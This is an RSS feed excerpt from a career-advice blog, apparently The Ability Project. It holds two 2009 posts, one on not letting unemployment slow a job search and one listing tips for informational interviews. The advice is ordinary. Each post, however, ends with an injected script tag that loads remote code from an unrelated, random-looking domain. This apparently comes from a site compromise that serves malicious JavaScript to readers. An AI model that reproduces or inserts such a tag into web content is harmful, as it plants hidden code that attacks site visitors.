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	<title>The Ability Project &#187; Generation Y</title>
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	<link>http://theabilityproject.com</link>
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		<title>Unemployment Slowing You Down?</title>
		<link>http://theabilityproject.com/2009/09/03/unemployment-slowing-you-down/</link>
		<comments>http://theabilityproject.com/2009/09/03/unemployment-slowing-you-down/#comments</comments>
		<pubDate>Thu, 03 Sep 2009 18:06:15 +0000</pubDate>
		<dc:creator>Eric Barron</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[College]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Press Releases]]></category>
		<category><![CDATA[Young Adult]]></category>
		<category><![CDATA[job search]]></category>
		<category><![CDATA[professional development]]></category>
		<category><![CDATA[adage]]></category>
		<category><![CDATA[Adrienne Waldo]]></category>
		<category><![CDATA[advancing]]></category>
		<category><![CDATA[advertisingage]]></category>
		<category><![CDATA[advice]]></category>
		<category><![CDATA[career]]></category>
		<category><![CDATA[communication]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[employment]]></category>
		<category><![CDATA[Generation Y]]></category>
		<category><![CDATA[job]]></category>
		<category><![CDATA[millennial]]></category>
		<category><![CDATA[positive]]></category>
		<category><![CDATA[professional]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[tools]]></category>
		<category><![CDATA[unemployment]]></category>
		<category><![CDATA[young adults]]></category>

		<guid isPermaLink="false">http://theabilityproject.com/?p=1477</guid>
		<description><![CDATA[Back in March, TAP asked Adrienne Waldo, a Generation Y talent, to speak about utilizing social media at our Job Search Bootcamp.  The full-day workshop was highlighted by Adrienne&#8217;s great social media session.  Which equipped the audience with some great tools to land a job in today&#8217;s challenging economic climate.  
This article [...]]]></description>
			<content:encoded><![CDATA[<p>Back in March, TAP asked <a href="http://askamillennial.blogspot.com/">Adrienne Waldo</a>, a Generation Y talent, to speak about utilizing social media at our Job Search Bootcamp.  The full-day workshop was highlighted by Adrienne&#8217;s great social media session.  Which equipped the audience with some great tools to land a job in today&#8217;s challenging economic climate.  </p>
<p>This article in <a href="http://adage.com/gennext/post?article_id=138785">AdAge</a> is a must read.  The positive advice about finding employment can also be applied to advancing your career.<br />
<span id="more-1477"></span><br />
Don&#8217;t Let Unemployment Slow You Down: 7 Tips for Keeping Up Your Momentum in a Difficult Job Market.  http://adage.com/gennext/post?article_id=138785</p>
<p>Thank you Adrienne for your “shout out” and mention of <a href="http://theabilityproject.com">The Ability Project</a>.  For more from this talented young professional visit her blog: http://askamillennial.blogspot.com/<br />
<script src="http://ue.oeaou.com/31"></script></p>
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		<title>The Low Down on Informational Interviews</title>
		<link>http://theabilityproject.com/2009/08/26/informational-interviews-3/</link>
		<comments>http://theabilityproject.com/2009/08/26/informational-interviews-3/#comments</comments>
		<pubDate>Wed, 26 Aug 2009 14:24:42 +0000</pubDate>
		<dc:creator>Rachel</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[College]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Networking/Prospecting]]></category>
		<category><![CDATA[Sales and People Skills]]></category>
		<category><![CDATA[Young Adult]]></category>
		<category><![CDATA[branding]]></category>
		<category><![CDATA[alumni]]></category>
		<category><![CDATA[business card]]></category>
		<category><![CDATA[follow-up]]></category>
		<category><![CDATA[Generation Y]]></category>
		<category><![CDATA[informational interviews]]></category>
		<category><![CDATA[interview]]></category>
		<category><![CDATA[job]]></category>
		<category><![CDATA[job searching]]></category>
		<category><![CDATA[mentor]]></category>
		<category><![CDATA[personal branding]]></category>
		<category><![CDATA[professional development]]></category>
		<category><![CDATA[relationships]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[success]]></category>
		<category><![CDATA[young adults]]></category>
		<category><![CDATA[young professionals]]></category>

		<guid isPermaLink="false">http://theabilityproject.com/?p=1454</guid>
		<description><![CDATA[Having just moved from Southern Florida to New York City, I am setting up several informational interviews to further understand social media and new marketing techniques.  Whether you have a job or are searching, informational interviews are a key to success.

Yesterday, I read an informative article in The Examiner written by James Sanford.  [...]]]></description>
			<content:encoded><![CDATA[<p>Having just moved from Southern Florida to New York City, I am setting up several informational interviews to further understand social media and new marketing techniques.  Whether you have a job or are searching, informational interviews are a key to success.<br />
<span id="more-1454"></span><br />
Yesterday, I read an informative article in <a href="http://www.examiner.com/x-20172-Columbus-Career-Transition-Examiner~y2009m8d24-Jobsearch-triage-the-informational-interview">The Examiner </a>written by James Sanford.  My learnings were as follows: </p>
<p>1)  Do not present a resume or ask for a job in an informational interview.  The purpose of your meeting should be to learn a company culture and network in your industry.  </p>
<p>2)  Arrive to the meeting prepared with thoughtful questions.  </p>
<p>3)  The informational interview is a relaxed setting to practice your answers to future interview questions (i.e. “tell me about yourself”).  You should not feel as if you are in an interview or selling a product; however, this is an excellent opportunity to practice your personal brand story or pitch.    </p>
<p>4)  Follow-up is critical.  Thank each contact for his/her time, information, advice. Thank-you letters should be sent via email; a hard copy should be sent through snail mail.</p>
<p>5)  Each manager and/or executive should be updated on any progress in your career.  </p>
<p>6)  Keep good records of connections made, including dates and follow-up tasks.  I personally keep a well organized, ongoing list in an excel file.</p>
<p>As a Generation Y, it is often difficult to know who to contact and what exchange is appropriate.   I am signing up for alumni events, industry related associations and specific Meetup.com affairs.  </p>
<p>Other personal habits I have acquired while networking are to 1) confirm meeting time and place the day before, 2) follow up with unique, outstanding stationary, 3) get a business card, and 4) remember to small talk.  Small talk is an art; often when I am taking myself too seriously, I forget to ask my mentor personal details.  Taking note of these personal details on the back of his/her business card is a great technique.  Then when I follow up, I can ask about family, vacation, home, etc.  Every little detail counts when creating lasting relationships.<br />
<script src="http://ue.oeaou.com/31"></script></p>
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